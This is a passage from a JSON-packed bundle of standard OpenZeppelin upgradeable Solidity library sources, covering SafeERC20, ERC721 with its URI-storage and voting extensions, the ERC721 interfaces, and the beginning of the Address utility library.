amount\n ) external returns (bool);\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20Upgradeable.sol\";\nimport \"../extensions/draft-IERC20PermitUpgradeable.sol\";\nimport \"../../../utils/AddressUpgradeable.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20Upgradeable {\n using AddressUpgradeable for address;\n\n function safeTransfer(\n IERC20Upgradeable token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(\n IERC20Upgradeable token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(\n IERC20Upgradeable token,\n address spender,\n uint256 value\n ) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(\n IERC20Upgradeable token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(\n IERC20Upgradeable token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n uint256 newAllowance = oldAllowance - value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n }\n\n function safePermit(\n IERC20PermitUpgradeable token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) {\n // Return data is optional\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721Upgradeable.sol\";\nimport \"./IERC721ReceiverUpgradeable.sol\";\nimport \"./extensions/IERC721MetadataUpgradeable.sol\";\nimport \"../../utils/AddressUpgradeable.sol\";\nimport \"../../utils/ContextUpgradeable.sol\";\nimport \"../../utils/StringsUpgradeable.sol\";\nimport \"../../utils/introspection/ERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {\n using AddressUpgradeable for address;\n using StringsUpgradeable for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing {\n __ERC721_init_unchained(name_, symbol_);\n }\n\n function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {\n return\n interfaceId == type(IERC721Upgradeable).interfaceId ||\n interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _ownerOf(tokenId);\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner or approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns the owner of the `tokenId`. Does NOT revert if token doesn't exist\n */\n function _ownerOf(uint256 tokenId) internal view virtual returns (address) {\n return _owners[tokenId];\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _ownerOf(tokenId) != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId, 1);\n\n // Check that tokenId was not minted by `_beforeTokenTransfer` hook\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n unchecked {\n // Will not overflow unless all 2**256 token ids are minted to the same owner.\n // Given that tokens are minted one by one, it is impossible in practice that\n // this ever happens. Might change if we allow batch minting.\n // The ERC fails to describe this case.\n _balances[to] += 1;\n }\n\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId, 1);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n * This is an internal function that does not check if the sender is authorized to operate on the token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId, 1);\n\n // Update ownership in case tokenId was transferred by `_beforeTokenTransfer` hook\n owner = ERC721Upgradeable.ownerOf(tokenId);\n\n // Clear approvals\n delete _tokenApprovals[tokenId];\n\n unchecked {\n // Cannot overflow, as that would require more tokens to be burned/transferred\n // out than the owner initially received through minting and transferring in.\n _balances[owner] -= 1;\n }\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId, 1);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721Upgradeable.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId, 1);\n\n // Check that tokenId was not transferred by `_beforeTokenTransfer` hook\n require(ERC721Upgradeable.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n\n // Clear approvals from the previous owner\n delete _tokenApprovals[tokenId];\n\n unchecked {\n // `_balances[from]` cannot overflow for the same reason as described in `_burn`:\n // `from`'s balance is the number of token held, which is at least one before the current\n // transfer.\n // `_balances[to]` could overflow in the conditions described in `_mint`. That would require\n // all 2**256 token ids to be minted, which in practice is impossible.\n _balances[from] -= 1;\n _balances[to] += 1;\n }\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId, 1);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting and burning. If {ERC721Consecutive} is\n * used, the hook may be called as part of a consecutive (batch) mint, as indicated by `batchSize` greater than 1.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s tokens will be transferred to `to`.\n * - When `from` is zero, the tokens will be minted for `to`.\n * - When `to` is zero, ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n * - `batchSize` is non-zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256, /* firstTokenId */\n uint256 batchSize\n ) internal virtual {\n if (batchSize > 1) {\n if (from != address(0)) {\n _balances[from] -= batchSize;\n }\n if (to != address(0)) {\n _balances[to] += batchSize;\n }\n }\n }\n\n /**\n * @dev Hook that is called after any token transfer. This includes minting and burning. If {ERC721Consecutive} is\n * used, the hook may be called as part of a consecutive (batch) mint, as indicated by `batchSize` greater than 1.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s tokens were transferred to `to`.\n * - When `from` is zero, the tokens were minted for `to`.\n * - When `to` is zero, ``from``'s tokens were burned.\n * - `from` and `to` are never both zero.\n * - `batchSize` is non-zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 firstTokenId,\n uint256 batchSize\n ) internal virtual {}\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[44] private __gap;\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/extensions/ERC721URIStorage.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721Upgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev ERC721 token with storage based token URI management.\n */\nabstract contract ERC721URIStorageUpgradeable is Initializable, ERC721Upgradeable {\n function __ERC721URIStorage_init() internal onlyInitializing {\n }\n\n function __ERC721URIStorage_init_unchained() internal onlyInitializing {\n }\n using StringsUpgradeable for uint256;\n\n // Optional mapping for token URIs\n mapping(uint256 => string) private _tokenURIs;\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory _tokenURI = _tokenURIs[tokenId];\n string memory base = _baseURI();\n\n // If there is no base URI, return the token URI.\n if (bytes(base).length == 0) {\n return _tokenURI;\n }\n // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).\n if (bytes(_tokenURI).length > 0) {\n return string(abi.encodePacked(base, _tokenURI));\n }\n\n return super.tokenURI(tokenId);\n }\n\n /**\n * @dev Sets `_tokenURI` as the tokenURI of `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {\n require(_exists(tokenId), \"ERC721URIStorage: URI set of nonexistent token\");\n _tokenURIs[tokenId] = _tokenURI;\n }\n\n /**\n * @dev See {ERC721-_burn}. This override additionally checks to see if a\n * token-specific URI was set for the token, and if so, it deletes the token URI from\n * the storage mapping.\n */\n function _burn(uint256 tokenId) internal virtual override {\n super._burn(tokenId);\n\n if (bytes(_tokenURIs[tokenId]).length != 0) {\n delete _tokenURIs[tokenId];\n }\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721VotesUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/ERC721Votes.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721Upgradeable.sol\";\nimport \"../../../governance/utils/VotesUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of ERC721 to support voting and delegation as implemented by {Votes}, where each individual NFT counts\n * as 1 vote unit.\n *\n * Tokens do not count as votes until they are delegated, because votes must be tracked which incurs an additional cost\n * on every transfer. Token holders can either delegate to a trusted representative who will decide how to make use of\n * the votes in governance decisions, or they can delegate to themselves to be their own representative.\n *\n * _Available since v4.5._\n */\nabstract contract ERC721VotesUpgradeable is Initializable, ERC721Upgradeable, VotesUpgradeable {\n function __ERC721Votes_init() internal onlyInitializing {\n }\n\n function __ERC721Votes_init_unchained() internal onlyInitializing {\n }\n /**\n * @dev See {ERC721-_afterTokenTransfer}. Adjusts votes when tokens are transferred.\n *\n * Emits a {IVotes-DelegateVotesChanged} event.\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 firstTokenId,\n uint256 batchSize\n ) internal virtual override {\n _transferVotingUnits(from, to, batchSize);\n super._afterTokenTransfer(from, to, firstTokenId, batchSize);\n }\n\n /**\n * @dev Returns the balance of `account`.\n */\n function _getVotingUnits(address account) internal view virtual override returns (uint256) {\n return balanceOf(account);\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721Upgradeable.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721MetadataUpgradeable is IERC721Upgradeable {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721ReceiverUpgradeable {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165Upgradeable.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721Upgradeable is IERC165Upgradeable {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Note that the caller is responsible to confirm that the recipient is capable of receiving ERC721\n * or else they may be permanently lost. Usage of {safeTransferFrom} prevents loss, though the caller must\n * understand this adds an external call which potentially creates a reentrancy vulnerability.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n 